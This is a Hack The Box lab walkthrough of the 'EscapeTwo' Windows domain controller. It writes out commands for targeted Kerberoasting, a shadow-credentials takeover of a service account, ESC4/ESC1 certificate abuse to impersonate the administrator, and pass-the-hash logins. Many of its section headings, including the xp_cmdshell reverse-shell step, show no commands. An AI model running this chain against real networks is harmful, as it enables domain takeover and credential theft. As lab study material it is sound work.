EscapeTwo HTB Walkthrough: ESC4 Certificate Abuse and Shadow Credentials Attack

May 26, 2025    #windows   #htb   #hack-the-box   #active-directory   #certificate-authority   #esc4   #mssql   #shadow-credentials   #privilege-escalation   #writeowner   #xp_cmdshell   #kerberoasting   #pkinit  

EscapeTwo Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

1. Enumeration:

Assumed Breach Box:

NMAP:

Basic Scans:

Comprehensive Scans:

LDAP 389:

Using LDAP anonymous bind to enumerate further:

  1. We have the naming context of the domain: 
    kali in HTB/BlogEntriesMade/EscapeTwo/scans/ldap  🍣 main  1GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 07:58:14 zsh ❯ python3 /home/kali/windowsTools/enumeration/ldapire/ldapire.py $box -u $user -p $pass


------------------------------------------------------------
 Server Information
------------------------------------------------------------
  • IP Address  : 10.129.146.182
  • Domain Name : sequel.htb
  • Server Name : DC01
  • Forest Level: 7
  • Domain Level: 7

Updating ETC/HOSTS & Variables:

Syncing Clocks for Kerberos Exploitation:

DNS 53:

Kerberos 88:

Using netexec or impacket for ASReproasting:

Using netexec for Kerberoasting:

Attempting To Crack Kerberos Tickets:

Performing a Bloodhound Collection:

Bloodhound Findings:

Enumerating The CA Using Certipy-ad:

certipy-ad find -vulnerable -u $user@$domain -p $pass -dc-ip $box

kali in content-org/Walkthroughs/HTB/BlogEntriesMade/EscapeTwo  🍣 main  3GiB/7GiB | 0B/1GiB with /usr/bin/zsh
🕙 08:34:09 zsh ❯ certipy-ad find -vulnerable -u $user@$domain -p $pass -dc-ip $box
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250113084633_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250113084633_Certipy.txt'
[*] Saved JSON output to '20250113084633_Certipy.json'

SMB 445:

Enumerating SMB shares using netexec:

netexec smb $box -u $user -p $pass --shares

Enumerating the Accounting Department Share:

I connect using smbclient:

smbclient -U $domain\\$user "\\\\$box\\Accounting Department"

Reading/Extracting Usernames & Passwords From The Spreadsheets:

Extracting the contents of the xlsx files manually:
unzip accounting_2024.xlsx
unzip accounts.xlsx
Extracting the contents of the xlsx files online:
Running Hashcat again:

Testing Credentials:

2. Foothold:

Enumerating As Oscar:

netexec smb $box -u $user -p $pass --shares

Accessing The Users Share As Oscar:

MSSQL 1433:

Enumerating The MSSQL Service:

Connecting to the MSSQL Service:

xp_cmdshell primer:

Enabling xp_cmdshell For RCE On The Host:

Using RCE VIA xp_cmdshell To Get A Reverse Shell:

Enumerating As sql_svc:

Discovering Password Re-use for ryan & sql_svc:

3. Lateral Movement:

Connecting As Ryan:

4. Privilege Escalation:

Taking Control of ca_svc:

WriteOwner Privilege Primer:

Targeted Kerberoasting Attack Primer:

+This works by doing the following:+

  1. Attach/generate an SPN for the user account.
  2. Request TGS for the user account.
  3. As TGS is encrypted with NTLM password hash we can then attempt to crack and overtake user account.

Attack Chain Attempt 1: Targeted Kerberoasting:

python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user ca_svc -o ca_svc.kerb

Attack Chain Attempt 2: Shadow Credentials Attack:

  1. Modify ownership so Ryan has full control of ca_svc:

    impacket-owneredit -action write -new-owner 'ryan' -target 'ca_svc' $domain/$user:$pass

  2. Grant ryan full privileges over the user ca_svc:

    impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' $domain/$user:$pass

  3. Add shadow credentials to the ca_svc account & export .PEM

    python3 pywhisker.py -d $domain -u $user -p $pass --target "CA_SVC" --action "add" --filename CACert --export PEM

  4. Requesting a TGT for ca_svc with PKINITtools getgtgkinit

    • Now we perform the same process again to be able to extract their hash by using the .pem files we have retrieved to export a .ccache we can authenticate with. 
         python3 /home/kali/windowsTools/PKINITtools/gettgtpkinit.py -cert-pem CACert_cert.pem -key-pem CACert_priv.pem $domain/ca_svc ca_svc.ccache

  5. Next we will load the .ccache into our KRB5CCNAME variable as we will need this for next step:

    export KRB5CCNAME=./ca_svc.ccache

  6. Requesting the ca_svc user hash with PKINITtools getnthash:

    • Extract the NTHash for the ca_svc user: 
         python3 /home/kali/windowsTools/PKINITtools/getnthash.py -key 431c[SNIP]6aee9c22ff3391d9 $domain/CA_SVC
    • We now have the ca_svc users NT hash.

  8. Verify the hash is valid:

    • We now own the ca_svc user.

Re-running Certipy As ca_svc:

certipy-ad find -vulnerable -u $user@$domain -hashes :$hash -dc-ip $box

Performing ESC4 Certificate Attack To Get An Admin Certificate:

  1. Backup original cert:

    • As we overwrite the cert to perform this attack I will make a backup. 
       certipy template -username ca_svc@$domain -hashes :$hash -template DunderMifflinAuthentication -save-old

  2. Perform ESC1 attack on the cert:

    • We can specify an arbitrary SAN with the -upn or -dns parameter.

      • This is the correct command, however read the section below if you get a DNS error.

             ertipy req -username ca_svc@$domain -hashes :$hash -ca sequel-DC01-CA -target $machine.$domain -template DunderMifflinAuthentication -upn administrator@$domain -ns $box

    • +Troubleshooting+: If you get the error CERTSRV_E_SUBJECT_DNS_REQUIRED:

      • I got this error a lot and went down rabbit holes trying to fix it. Whereas it actually seems to be down to some sort cleanup script running on the host.
      • How to get it working:
        • I was able to get it working by quickly chaining step 1 (Backup Script) & 2 (ESC1 Attack)
          • If you look at the time stamp you can see that I had to run these 7 seconds apart to get the attack chain to work.

  3. Authenticate as the Administrator using the certificate:

    • Now we authenticate with the certificate, to receive the NT hash of the Administrator user: 
      certipy-ad auth -pfx administrator.pfx -domain $domain

  4. Verify it works:

    • Using evil-winrm

        evil-winrm -i $box -u administrator -H $hash

    • Using the .ccache

      #Load the .ccache into the KRB5CCNAME var
export KRB5CCNAME=./administrator.ccache

#Use impacket-psexec
impacket-psexec -k -no-pass $machine.$domain
      • I knew it work but always better to validate.

  5. Lets get the root flag:

5. Persistence:

Dumping NTDS.dit/DCSync attack:

Creating a Kerberos Golden Ticket:

Why create a golden ticket?

Lessons Learned:

What did I learn?

  1. Stop jumping to flashy techniques when you havent’ even performed basic enumeration just yet. (Finding password re-use in a file)
  2. I learned that even though I know the attack path if someone has put a cleanup script in place it will cause me to go down a rabbit hole, it’s one of the few times where faster is better.

What silly mistakes did I make?

  1. using \\ on http request e.g http:\\ DAMN YOU WINDOWS and your backslashes.

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at bloodstiller dot com


Next: Cap HTB Walkthrough: PCAP Analysis, Linux Capabilities, and Linux Privilege Escalation